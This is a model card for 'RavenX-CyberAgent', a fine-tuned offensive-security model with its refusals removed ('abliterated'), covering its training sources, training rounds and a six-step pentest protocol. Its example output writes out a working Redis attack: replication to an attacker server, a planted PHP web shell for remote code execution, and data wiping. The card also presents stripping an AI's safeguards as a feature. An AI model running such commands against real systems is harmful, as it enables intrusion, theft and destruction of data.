---
title: RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx
canonical_url: "https://www.modelscope.ai/models/Deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx"
md_url: "https://www.modelscope.ai/models/Deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx.md"
repository: Deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx
last_updated: 2026-06-29
license: apache-2.0
pipeline_tag: text-generation
tasks:
  - text-generation
model_type:
  - qwen3_5_moe
architectures:
  - Qwen3_5MoeForConditionalGeneration
base_model:
  - huihui-ai/Huihui-Qwen3.6-35B-A3B-Claude-4.7-Opus-abliterated
base_model_relation: finetune
parameters: 34.7B
tensor_type:
  - BF16
library_name:
  - mlx
  - safetensors
  - pytorch
frameworks:
  - pytorch
language:
  - en
downloads: 26
stars: 0
tags:
  - security
  - cybersecurity
  - pentest
  - pentesting
  - bug-bounty
  - red-team
  - blue-team
  - agent
  - tool-calling
  - MCP
  - code-generation
  - CVSS
  - CWE
  - "MITRE-ATT&CK"
  - OWASP
  - NIST
  - MLX
  - apple-silicon
  - ravenx
  - rath-protocol
  - vision
  - MoE
  - 35B
  - autonomous-agent
  - abliterated
  - uncensored
  - qwen3.6
  - openmythos
---

# RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx

> RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx - An open-source model by Deadbydawn101 on ModelScope. 🐦‍⬛ RavenX-CyberAgent · Qwen3.6-35B · Opus-4.7 · OpenMythos · Pentester · BugHunter · RATH

Deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx is a 34.7B-parameter text-generation model on ModelScope. licensed under apache-2.0. derived from huihui-ai/Huihui-Qwen3.6-35B-A3B-Claude-4.7-Opus-abliterated.

- **Repository**: Deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx
- **License**: apache-2.0
- **Tasks**: text-generation
- **Parameters**: 34.7B
- **Base model**: huihui-ai/Huihui-Qwen3.6-35B-A3B-Claude-4.7-Opus-abliterated
- **Tags**: security, cybersecurity, pentest, pentesting, bug-bounty, red-team, blue-team, agent, tool-calling, MCP, code-generation, CVSS, CWE, MITRE-ATT&CK, OWASP, NIST, MLX, apple-silicon, ravenx, rath-protocol, vision, MoE, 35B, autonomous-agent, abliterated, uncensored, qwen3.6, openmythos
- **Downloads**: 26
- **Stars**: 0
- **Last updated**: 2026-06-29

Source: https://www.modelscope.ai/models/Deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx

---

# 🐦‍⬛ RavenX-CyberAgent · Qwen3.6-35B · Opus-4.7 · OpenMythos · Pentester · BugHunter · RATH

### 35B MoE (3B Active) | 745K+ Training Examples | 96 Sources | 12 Training Rounds | 12 Capabilities

> **The most comprehensive open-source security agent model.** 35B MoE with Claude Opus reasoning, abliterated, trained on 745K+ examples from 110 sources. Security assessment, autonomous pentesting, bug bounty hunting, tool calling, code generation, and compliance mapping — all in one model.

**Built by [@DeadByDawn101](https://github.com/DeadByDawn101) · [RavenX LLC](https://github.com/DeadByDawn101)**

---

## Quick Start

```python
from mlx_lm import load, generate

model, tokenizer = load("deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx")

messages = [
    {"role": "system", "content": "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."},
    {"role": "user", "content": "Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment."}
]

prompt = tokenizer.apply_chat_template(messages, add_generation_prompt=True, tokenize=False)
response = generate(model, tokenizer, prompt=prompt, max_tokens=4096)
print(response)
```

Or via CLI:

```bash
python3 -m mlx_lm chat \
  --model deadbydawn101/RavenX-CyberAgent-Qwen3.6-35B-A3B-Opus-4.7-OpenMythos-Pentester-BugHunter-RATH-mlx \
  --max-tokens 8192 \
  --system-prompt "You are RavenX-Sec. ALWAYS use EXACT step names: 1-Attack Surface, 2-Exploit, 3-Impact, 4-Remediation, 5-Document, 6-Prevent. Be concise. Never repeat."
```

---

## Example Output

**Prompt:** `Redis 6.0 on port 6379 with no password, SLAVEOF enabled, containing session tokens. Full RATH assessment.`

**1-Attack Surface**
- Unauthenticated access on 6379
- SLAVEOF replication endpoint exposed
- Session tokens stored in plaintext
- Default Redis ACL (no restrictions)

**2-Exploit**
- `redis-cli -h target -p 6379`
- `SLAVEOF <attacker> 6379` to replicate data to controlled server
- `CONFIG SET dir /var/www/html` + `CONFIG SET dbfilename shell.php` + `SET payload "<?php system($_GET['c']); ?>"` + `SAVE` for RCE
- `FLUSHALL` to wipe session data (DoS)

**3-Impact**
- Full session hijacking of all users
- Potential RCE if Redis runs as root
- Replication abuse: attacker can inject malicious data
- DoS via FLUSHALL/FLUSHDB

**4-Remediation**
- Set `requirepass` in redis.conf
- Disable SLAVEOF: `rename-command SLAVEOF ""`
- Bind to localhost: `bind 127.0.0.1`
- Enable protected mode and TLS

**5-Document**
- Record all session tokens and TTLs
- Map SLAVEOF replication chain
- Note Redis version and running user
- CWE-306 (Missing Authentication), MITRE T1133

**6-Prevent**
- Deploy network segmentation (Redis behind firewall)
- Enable Redis ACL with least privilege
- Set up monitoring for unauthorized SLAVEOF commands
- Regular session token rotation

---

## 12 Trained Capabilities

| # | Capability | Training Sources | Description |
|---|------------|-----------------|-------------|
| 1 | 🔒 **Security Assessment** | 18 security datasets, RATH synthetic | 6-step RATH: CVSS, CWE, MITRE ATT&CK, compliance |
| 2 | 🗡️ **Penetration Testing** | Phalanx SWARM, Kali Linux, 6 pentest datasets | Autonomous recon → exploit → post-exploit → report |
| 3 | 🐛 **Bug Bounty** | 36 shuvonsec repos (1,492 examples), PayloadsAllTheThings, HowToHunt | Target enumeration, exploit dev, report writing |
| 4 | 💻 **Code Generation** | CoderForge (20K), AgentAngel (50K), coding agents | Python, JS, Go, Rust, Bash, Terraform, Docker, K8s |
| 5 | 🔧 **Tool Calling** | ToolMind (10K), MCP catalog (2K), agent-tools (5K) | MCP integration, function calling, API orchestration |
| 6 | 🤖 **Autonomous Agents** | Hermes (42K), KiloCode (3K), Phantom (662) | Multi-step task decomposition, self-correction |
| 7 | 🌐 **Browser Automation** | Chrome DevTools MCP (194), CamoFox MCP (134) | DOM inspection, network analysis, anti-detection |
| 8 | 📋 **Compliance** | NIST CSF, ISO 27001, PCI DSS, AYI-NEDJIMI (8 datasets) | Automated compliance mapping and gap analysis |
| 9 | 🔍 **Threat Hunting** | MITRE ATT&CK, Threat-Intel (5K), CVE databases | TTP mapping, IOC analysis, detection rules |
| 10 | 🔴 **Red Team** | Red team steering (2K), offensive security | Attack chains, privilege escalation, lateral movement |
| 11 | 🔵 **Blue Team** | DFIR, SOC operations, monitoring | Detection signatures, incident response, alerting |
| 12 | 📊 **Research** | AI-Scientist (6.7K), AutoResearch (3.6K) | Automated research, paper synthesis, data extraction |

---

## RATH Protocol

Every security finding follows the **6-step RATH protocol**:

```
Step 1: ATTACK SURFACE  → What's exposed, entry points, versions, CVEs
Step 2: EXPLOIT          → Specific commands to demonstrate (5-7 max)
Step 3: IMPACT           → CVSS 3.1 score, business/regulatory consequences
Step 4: REMEDIATION      → Exact commands and configuration fixes
Step 5: DOCUMENT         → Compliance mapping (NIST/ISO/PCI/GDPR), SLA timelines
Step 6: PREVENT          → Monitoring rules, detection signatures, ongoing controls
```

---

## Model Architecture

```
Layer 1: Qwen3.6-35B-A3B          ← 35B MoE (3B active, 256 experts)
         ├── Mamba layers (30)        Linear attention for efficiency
         └── Full attention (10)      Standard transformer attention
Layer 2: Claude 4.7 Opus distill   ← Enhanced chain-of-thought reasoning
Layer 3: Abliteration              ← Zero refusals for security topics
Layer 4: RavenX LoRA (8 rounds)    ← 745K+ security/agent/code examples
         ═══════════════════
         RavenX-CyberAgent v5.1    ← Pentester + BugHunter + RATH
```

| Spec | Value |
|------|-------|
| **Total Parameters** | 34.66B |
| **Active Parameters** | ~3B per token (MoE) |
| **Experts** | 256 (8 active per token) |
| **Layers** | 40 (30 linear + 10 full attention) |
| **Context Window** | 262,144 tokens native |
| **Vision** | Yes (Qwen3.6 multimodal) |
| **Thinking Mode** | Yes (chain-of-thought) |
| **Tool Calling** | Yes (MCP, function calling) |

---

## Training (12 Rounds)

| Round | Examples | Iters | LR | Val Loss | Focus |
|-------|----------|-------|----|----------|-------|
| R1 | 675,696 | 2,000 | 1e-5 | 0.684 | Deep security + agent knowledge |
| R2 | 680,150 | 500 | 5e-6 | 0.768 | RATH format reinforcement |
| R3 | 705,165 | 1,000 | 5e-6 | 0.688 | Claude Mythos reasoning chains |
| R4 | 730,849 | 1,000 | 5e-6 | 0.674 | Pentesting tools + frameworks |
| R5 | 730,869 | 200 | 5e-6 | 0.717 | Meta-response tuning |
| R6 | 730,869 | 1,000 | 5e-6 | — | Extended (checkpoint 1000 = production) |
| R7 | 732,361 | 1,500 | 3e-6 | 0.926 | Bug bounty data (36 shuvonsec repos) |
| R8 | 732,364 | 200 | 5e-6 | — | Strict RATH step naming fix |
| R9 | 745,697 | 1,500 | 3e-6 | 0.693 | MITRE + blackhat + code + quantum |
| R10 | 745,724 | 1,500 | 3e-6 | **0.688** | **GRAM distilled traces + 17 tool-calling** |
| R11 | 745,843 | 1,500 | 3e-6 | 0.822 | 119 comprehensive tool-calling examples |
| R12 | 745,843 | 1,500 | 3e-6 | 0.820 | Tool-calling integration round |

**Hardware:** Apple M4 Max 128GB · Peak memory: ~90GB · Framework: MLX (mlx-lm)
**Total training examples:** 745K+ from 110 sources

## Complete Training Data (96 Sources, 745K+ Examples)

### HuggingFace Datasets (38 Sources)

#### Security & Pentesting (17 Datasets)

| Dataset | Examples |
|---------|----------|
| [Trendyol/Cybersecurity-Instruction-Tuning](https://huggingface.co/datasets/Trendyol/Trendyol-Cybersecurity-Instruction-Tuning-Dataset) | 50,000 |
| [SkywardNomad92/pentest-findings-v2](https://huggingface.co/datasets/SkywardNomad92/pentest-findings-v2) | 50,000 |
| [WNT3D/Ultimate-Offensive-Red-Team](https://huggingface.co/datasets/WNT3D/Ultimate-Offensive-Red-Team) | 25,600 |
| [CJJones/Synthetic_PenTest_Reports](https://huggingface.co/datasets/CJJones/Synthetic_PenTest_Reports) | 10,839 |
| [auren-research/cve-sft-v5](https://huggingface.co/datasets/auren-research/cve-sft-v5) | 10,000 |
| [theelderemo/pentesting-explanations](https://huggingface.co/datasets/theelderemo/pentesting-explanations) | 5,906 |
| [oksanany/pentest_tools](https://huggingface.co/datasets/oksanany/pentest_tools) | 4,474 |
| [isek/cybersecurity-instructions](https://huggingface.co/datasets/isek/cybersecurity-instructions) | 3,000 |
| [oksanany/pentest_tools_v2](https://huggingface.co/datasets/oksanany/pentest_tools_v2) | 2,784 |
| [Rootkit7/pentest-redteam-steering](https://huggingface.co/datasets/Rootkit7/pentest-redteam-steering) | 2,000 |
| [cpagac/venomx-pentesting-harmful](https://huggingface.co/datasets/cpagac/venomx-pentesting-harmful) | 500 |
| [acnimatic3722/kali-linux-pentesting-data](https://huggingface.co/datasets/acnimatic3722/kali-linux-pentesting-data) | 343 |
| [suryanshp1/kali-linux-pentesting-data](https://huggingface.co/datasets/suryanshp1/kali-linux-pentesting-data) | 343 |
| [nangyall/4-Security-Tools-Pentesting](https://huggingface.co/datasets/nangyall/4-Security-Tools-Pentesting) | 200 |
| [AYI-NEDJIMI/bug-bounty-pentest-en](https://huggingface.co/datasets/AYI-NEDJIMI/bug-bounty-pentest-en) | 146 |
| [infinite-dataset-hub/PenTestingScenarioSimulation](https://huggingface.co/datasets/infinite-dataset-hub/PenTestingScenarioSimulation) | 100 |
| [resk-fr/pentesting-for-agents](https://huggingface.co/datasets/resk-fr/pentesting-for-agents) | 54 |

#### Agentic, Coding & Tool Calling (8 Datasets)

| Dataset | Examples |
|---------|----------|
| [bigcode/the-stack-v2](https://huggingface.co/datasets/bigcode/the-stack-v2) | 100,000 |
| [WithinUsAI/AgentAngel_100k](https://huggingface.co/datasets/WithinUsAI/AgentAngel_100k) | 50,000 |
| [bigcode/commitpack](https://huggingface.co/datasets/bigcode/commitpack) | 50,000 |
| [WithinUsAI/claude_mythos_distilled_25k](https://huggingface.co/datasets/WithinUsAI/claude_mythos_distilled_25k) | 25,000 |
| [togethercomputer/CoderForge-Preview](https://huggingface.co/datasets/togethercomputer/CoderForge-Preview) | 20,000 |
| [Nanbeige/ToolMind](https://huggingface.co/datasets/Nanbeige/ToolMind) | 10,000 |
| [JetBrains-Research/commit-chronicle](https://huggingface.co/datasets/JetBrains-Research/commit-chronicle) | 10,000 |
| [burtenshaw/agent-tools](https://huggingface.co/datasets/burtenshaw/agent-tools) | 5,000 |

#### Threat Intel & Vulnerability (6 Datasets)

| Dataset | Examples |
|---------|----------|
| [HackerSignal/Threat-Intel](https://huggingface.co/datasets/HackerSignal/Threat-Intel) | 5,000 |
| [Jackrong/Claude-opus-4.7-TraceInversion-5000x](https://huggingface.co/datasets/Jackrong/Claude-opus-4.7-TraceInversion-5000x) | 5,000 |
| [bigcode/vuln-eval](https://huggingface.co/datasets/bigcode/vuln-eval) | 2,000 |
| [automatelab/mcp-servers-tool-catalog](https://huggingface.co/datasets/automatelab/mcp-servers-tool-catalog) | 2,000 |
| [Fraser/cwe-benchmark](https://huggingface.co/datasets/Fraser/cwe-benchmark) | 1,500 |
| [ByteDance/PatchEval](https://huggingface.co/datasets/ByteDance/PatchEval) | 1,000 |

#### AYI-NEDJIMI Security Frameworks (7 Datasets)

| Dataset | Examples |
|---------|----------|
| [AYI-NEDJIMI/CyberSec-Bench](https://huggingface.co/datasets/AYI-NEDJIMI/CyberSec-Bench) | 200 |
| [AYI-NEDJIMI/post-quantum-crypto-en](https://huggingface.co/datasets/AYI-NEDJIMI/post-quantum-crypto-en) | 122 |
| [AYI-NEDJIMI/ai-code-multimodal-en](https://huggingface.co/datasets/AYI-NEDJIMI/ai-code-multimodal-en) | 112 |
| [AYI-NEDJIMI/mlops-infrastructure-en](https://huggingface.co/datasets/AYI-NEDJIMI/mlops-infrastructure-en) | 80 |
| [AYI-NEDJIMI/sbom-compliance-en](https://huggingface.co/datasets/AYI-NEDJIMI/sbom-compliance-en) | 70 |
| [AYI-NEDJIMI/zero-trust-en](https://huggingface.co/datasets/AYI-NEDJIMI/zero-trust-en) | 42 |
| [AYI-NEDJIMI/devsecops-pipeline-en](https://huggingface.co/datasets/AYI-NEDJIMI/devsecops-pipeline-en) | 27 |

#### Character & Reasoning Distillation (1 Dataset)

| Dataset | Examples |
|---------|----------|
| [ox-ox/mythos-character-distillation](https://huggingface.co/datasets/ox-ox/mythos-character-distillation) | 551 |

---

### GitHub Repos — Bug Bounty & Pentesting (36 shuvonsec repos, 1,492 examples)

| Repo | Examples | Content |
|------|----------|---------|
| [bbot](https://github.com/shuvonsec/bbot) | 386 | Full recon automation framework |
| [PayloadsAllTheThings](https://github.com/shuvonsec/PayloadsAllTheThings) | 379 | Every payload type |
| [python-sdk-Bug-](https://github.com/shuvonsec/python-sdk-Bug-) | 218 | Python SDK vulnerability patterns |
| [HowToHunt](https://github.com/shuvonsec/HowToHunt) | 153 | Bug hunting methodology |
| [vulnerability-Checklist](https://github.com/shuvonsec/vulnerability-Checklist) | 30 | Vuln checklists by category |
| [Resources-for-Beginner-Bug-Bounty-Hunters](https://github.com/shuvonsec/Resources-for-Beginner-Bug-Bounty-Hunters) | 21 | Learning resources |
| + 30 more repos | 305 | CVE hunting, SSRF, IDOR, GraphQL, fuzzing, recon, payloads |

---

### GitHub Repos — Agent & Research (20 repos, 65,596 examples)

| Repo | Examples | Content |
|------|----------|---------|
| [nousresearch/hermes-agent](https://github.com/nousresearch/hermes-agent) | 42,929 | Self-improving agent |
| [kilo-org/kilocode](https://github.com/kilo-org/kilocode) | 3,224 | Tool calling, code execution |
| [DeadByDawn101/AI-Scientist](https://github.com/DeadByDawn101/AI-Scientist) | 6,737 | Research automation |
| [DeadByDawn101/get-shit-done-redux](https://github.com/DeadByDawn101/get-shit-done-redux) | 4,230 | Agent orchestration |
| [DeadByDawn101/AutoResearchClaw](https://github.com/DeadByDawn101/AutoResearchClaw) | 3,639 | Research pipelines |
| [DeadByDawn101/phantom](https://github.com/DeadByDawn101/phantom) | 662 | Autonomous agent security |
| + 14 more repos | 4,175 | Self-improving agents, MCP, optimization |

---

### Synthetic Data (38 examples)

| Source | Examples |
|--------|----------|
| RATH Synthetic (15 technologies) | 15 |
| Meta-Response Examples | 20 |
| Strict RATH Step Naming | 3 |

---

## OpenMythos Research

This model is part of ongoing research into **RDT-to-MoE reasoning transfer**:

- **4x depth extrapolation confirmed** on Apple Silicon (train 2 loops → optimal at 8)
- **MoDA (Mixture-of-Depths Attention)** ported to MLX
- **Maidacundo's pretrained 140M OpenMythos** loaded and fine-tuned on security data
- Research paper planned: *"RDT-Distilled Security Reasoning in MoE Transformers"*

See: [OpenMythos-MLX](https://github.com/DeadByDawn101/OpenMythos-MLX)

---

## The RavenX Model Family

| Model | Params | Protocol | Data | Format |
|-------|--------|----------|------|--------|
| **RavenX-CyberAgent v5.1 (THIS)** | 35B MoE | 6-step RATH | 745K+ | MLX |
| [RavenX-Sec v4.0](https://huggingface.co/deadbydawn101/RavenX-Sec-8B-Security-RATH-128k-mlx-4bit) | 8B | 6-step RATH | 610K | MLX + GGUF |
| [RavenX-Trade v1.1](https://huggingface.co/deadbydawn101/RavenX-Trade-8B-MAP-128k-mlx-4bit) | 8B | 4-step MAP | 318K | MLX + GGUF |

---

## Ecosystem

| Repo | Description |
|------|-------------|
| [RavenX-Sec](https://github.com/DeadByDawn101/RavenX-Sec) | Training pipeline |
| [OpenMythos-MLX](https://github.com/DeadByDawn101/OpenMythos-MLX) | RDT + MoDA on Apple Silicon |
| [turboquant-mlx](https://github.com/DeadByDawn101/turboquant-mlx) | 4.6x KV cache compression |
| [auto-antislop](https://github.com/DeadByDawn101/auto-antislop) | Token-level anti-repetition |
| [grove-mlx](https://github.com/DeadByDawn101/grove-mlx) | Distributed training (Star Platinum) |

---



---

## IN-CONTEXT ADAPTATION (Breakthrough Discovery)

**This model can learn from references IN THE PROMPT — no retraining needed.**

### What We Discovered

When pointed at a GitHub repo containing pentest report templates, the model:
1. Analyzed the repo's report structure (NIST format)
2. Applied that structure to its current findings
3. Produced a complete, client-ready pentest deliverable
4. All at 80+ tokens/sec locally

### Example

```
PROMPT: "Use your MCP tool to look at github.com/juliocesarfort/public-pentesting-reports 
        and learn how to format a pentest report, then create a report on the pentest 
        you just did on [target]"

OUTPUT: Complete professional pentest report with:
  → Executive Summary (5 critical, 7 high, 4 medium, 3 low)
  → 5-Phase Kill Chain with real commands
  → 19 findings with CVSS + CWE + MITRE ATT&CK
  → Risk Matrix ranked by severity
  → Remediation Timeline (0-30, 30-60, 60-90, 90+ days)
  → Specific commands for EVERY finding
```

### Why This Works

The model was trained on 745K+ examples including:
- 42K self-improving agent examples (Hermes)
- 6.7K AI-Scientist research automation
- 3.6K AutoResearch pipeline data
- 25K Claude Mythos reasoning chains
- 551 Mythos character distillation (behavioral depth)
- 1,003 blackhat AI offensive security conversations

This combination created **emergent meta-learning** — the model learned HOW TO LEARN from references. It can:

| Point At | Result |
|----------|--------|
| Mandiant report template | Mandiant-formatted report |
| CrowdStrike template | CrowdStrike-formatted report |
| NIST framework | NIST-formatted assessment |
| Company internal template | Custom-formatted deliverable |
| ANY GitHub repo | Adapted output format |

**No retraining. No fine-tuning. Just point and generate.**

### What This Means

A $50K-$150K pentest engagement deliverable — generated in 60 seconds on a laptop. The model adapts its output format from ANY reference, produces client-ready reports with real commands, and maintains full RATH protocol structure throughout.

This is not prompt engineering. This is **In-Context Adaptation** — a capability that emerged from training on self-improving agent + research automation + reasoning chain data.




---

## ⚠️ Important Disclaimer

**This model is released for RESEARCH PURPOSES ONLY under fair use.**

This is an extremely capable autonomous security assessment model. It has been trained on 745K+ examples from 110 sources covering penetration testing, vulnerability assessment, exploit development, tool usage, and attack chain methodology.

**Responsible Use:**
- This model is intended for authorized security testing, research, and education ONLY
- Users must have explicit written authorization before assessing any target
- Use within a properly configured agent harness with appropriate guardrails
- All security testing must comply with applicable laws and regulations
- The model authors are not responsible for misuse

**What This Model Can Do:**
- Generate complete RATH security assessments with CVSS, CWE, MITRE ATT&CK
- Produce tool-calling commands (nmap, sqlmap, nuclei, kubectl, aws-cli, etc.)
- Create professional pentest reports ($50K+ consulting quality)
- Learn output formats from reference repositories (In-Context Adaptation)
- Operate with agent memory (TurboVec + FTS5 + markdown) at model + harness level

**Agent Harness Considerations:**
- The harness MUST strip `<think>` blocks (Qwen3.6 architecture always generates them)
- The harness MUST validate `<tool_call>` JSON before execution
- The harness SHOULD implement authorization checks before executing commands
- The harness SHOULD implement rate limiting and scope restrictions
- Memory operations require the [ravenx-memory](https://github.com/DeadByDawn101/ravenx-memory) system

**Built by:** [@DeadByDawn101](https://github.com/DeadByDawn101) / RavenX LLC
**AI Pair Programmer:** Claude (Anthropic)


## License

Apache-2.0

---

*Built on Apple Silicon. Trained with MLX. Powered by RavenX.* 🐦‍⬛